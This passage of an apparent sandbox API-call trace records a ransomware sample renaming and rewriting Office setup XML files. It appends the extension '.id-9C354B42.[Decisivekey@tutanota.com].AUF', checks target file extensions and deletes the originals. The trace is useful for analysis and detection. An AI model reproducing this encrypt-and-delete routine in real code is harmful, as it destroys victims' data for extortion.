Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.868] lstrlenW (lpString=".doc") returned 4 [0210.868] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".docx") returned 5 [0210.868] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.868] lstrlenW (lpString=".pdf") returned 4 [0210.868] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.868] lstrlenW (lpString=".xls") returned 4 [0210.869] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.869] lstrlenW (lpString=".xlsx") returned 5 [0210.869] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.869] lstrlenW (lpString=".ppt") returned 4 [0210.869] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.869] lstrlenW (lpString=".zip") returned 4 [0210.869] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.869] lstrlenW (lpString=".rar") returned 4 [0210.869] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.869] lstrlenW (lpString=".bz2") returned 4 [0210.869] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.869] lstrlenW (lpString=".7z") returned 3 [0210.869] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.869] lstrlenW (lpString=".dbf") returned 4 [0210.869] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.869] lstrlenW (lpString=".1cd") returned 4 [0210.869] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0210.869] lstrlenW (lpString=".jpg") returned 4 [0210.869] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.869] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.869] lstrlenW (lpString="SETUP.XML") returned 9 [0210.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0210.882] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4207) returned 1 [0210.883] CloseHandle (hObject=0x194) returned 1 [0210.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0210.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0210.883] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.883] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0210.883] GetLastError () returned 0x0 [0210.883] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x106f, lpOverlapped=0x0) returned 1 [0210.991] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0210.991] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0210.991] WriteFile (in: hFile=0x208, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.992] SetEndOfFile (hFile=0x208) returned 1 [0210.992] CloseHandle (hObject=0x208) returned 1 [0210.992] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0210.992] SetEndOfFile (hFile=0x194) returned 1 [0210.993] CloseHandle (hObject=0x194) returned 1 [0210.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.994] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0210.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.994] lstrlenW (lpString=".doc") returned 4 [0210.994] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.994] lstrlenW (lpString=".docx") returned 5 [0210.994] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.994] lstrlenW (lpString=".pdf") returned 4 [0210.994] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.994] lstrlenW (lpString=".xls") returned 4 [0210.994] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.994] lstrlenW (lpString=".xlsx") returned 5 [0210.994] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.994] lstrlenW (lpString=".ppt") returned 4 [0210.994] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.994] lstrlenW (lpString=".zip") returned 4 [0210.994] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.994] lstrlenW (lpString=".rar") returned 4 [0210.994] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.994] lstrlenW (lpString=".bz2") returned 4 [0210.994] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.994] lstrlenW (lpString=".7z") returned 3 [0210.994] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.994] lstrlenW (lpString=".dbf") returned 4 [0210.994] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".1cd") returned 4 [0210.995] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".jpg") returned 4 [0210.995] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".doc") returned 4 [0210.995] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString=".docx") returned 5 [0210.995] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.995] lstrlenW (lpString=".pdf") returned 4 [0210.995] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString=".xls") returned 4 [0210.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString=".xlsx") returned 5 [0210.995] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.995] lstrlenW (lpString=".ppt") returned 4 [0210.995] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".zip") returned 4 [0210.995] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.995] lstrlenW (lpString=".rar") returned 4 [0210.995] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString=".bz2") returned 4 [0210.995] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString=".7z") returned 3 [0210.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".dbf") returned 4 [0210.995] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".1cd") returned 4 [0210.995] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0210.995] lstrlenW (lpString=".jpg") returned 4 [0210.995] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.996] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.996] lstrlenW (lpString="SETUP.XML") returned 9 [0210.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.342] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=16683) returned 1 [0211.342] CloseHandle (hObject=0x1f0) returned 1 [0211.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0211.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.342] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.343] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.368] GetLastError () returned 0x0 [0211.368] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x412b, lpOverlapped=0x0) returned 1 [0211.397] WriteFile (in: hFile=0x1e0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4130, lpOverlapped=0x0) returned 1 [0211.398] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.398] WriteFile (in: hFile=0x1e0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.398] SetEndOfFile (hFile=0x1e0) returned 1 [0211.398] CloseHandle (hObject=0x1e0) returned 1 [0211.399] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.399] SetEndOfFile (hFile=0x1f0) returned 1 [0211.399] CloseHandle (hObject=0x1f0) returned 1 [0211.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.400] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString=".doc") returned 4 [0211.407] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".docx") returned 5 [0211.407] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.407] lstrlenW (lpString=".pdf") returned 4 [0211.407] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".xls") returned 4 [0211.407] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".xlsx") returned 5 [0211.407] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.407] lstrlenW (lpString=".ppt") returned 4 [0211.407] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString=".zip") returned 4 [0211.407] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.407] lstrlenW (lpString=".rar") returned 4 [0211.407] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".bz2") returned 4 [0211.407] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".7z") returned 3 [0211.407] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString=".dbf") returned 4 [0211.407] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString=".1cd") returned 4 [0211.407] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString=".jpg") returned 4 [0211.407] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.407] lstrlenW (lpString=".doc") returned 4 [0211.407] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".docx") returned 5 [0211.407] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0211.407] lstrlenW (lpString=".pdf") returned 4 [0211.407] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.407] lstrlenW (lpString=".xls") returned 4 [0211.407] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.408] lstrlenW (lpString=".xlsx") returned 5 [0211.408] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0211.408] lstrlenW (lpString=".ppt") returned 4 [0211.408] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.408] lstrlenW (lpString=".zip") returned 4 [0211.408] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.408] lstrlenW (lpString=".rar") returned 4 [0211.408] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.408] lstrlenW (lpString=".bz2") returned 4 [0211.408] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.408] lstrlenW (lpString=".7z") returned 3 [0211.408] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.408] lstrlenW (lpString=".dbf") returned 4 [0211.408] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.408] lstrlenW (lpString=".1cd") returned 4 [0211.408] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0211.408] lstrlenW (lpString=".jpg") returned 4 [0211.408] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.408] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.408] lstrlenW (lpString="Proofing.XML") returned 12 [0211.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.410] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=811) returned 1 [0211.412] CloseHandle (hObject=0x1f0) returned 1 [0211.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0211.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.412] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.412] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.413] GetLastError () returned 0x0 [0211.413] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x32b, lpOverlapped=0x0) returned 1 [0211.423] WriteFile (in: hFile=0x1e0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x330, lpOverlapped=0x0) returned 1 [0211.424] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.424] WriteFile (in: hFile=0x1e0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0211.424] SetEndOfFile (hFile=0x1e0) returned 1 [0211.424] CloseHandle (hObject=0x1e0) returned 1 [0211.424] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.424] SetEndOfFile (hFile=0x1f0) returned 1 [0211.425] CloseHandle (hObject=0x1f0) returned 1 [0211.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0211.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.425] lstrlenW (lpString=".doc") returned 4 [0211.425] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.425] lstrlenW (lpString=".docx") returned 5 [0211.426] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0211.426] lstrlenW (lpString=".pdf") returned 4 [0211.426] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".xls") returned 4 [0211.426] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".xlsx") returned 5 [0211.426] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0211.426] lstrlenW (lpString=".ppt") returned 4 [0211.426] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0211.426] lstrlenW (lpString=".zip") returned 4 [0211.426] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.426] lstrlenW (lpString=".rar") returned 4 [0211.426] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.426] lstrlenW (lpString=".bz2") returned 4 [0211.426] lstrcmpiW 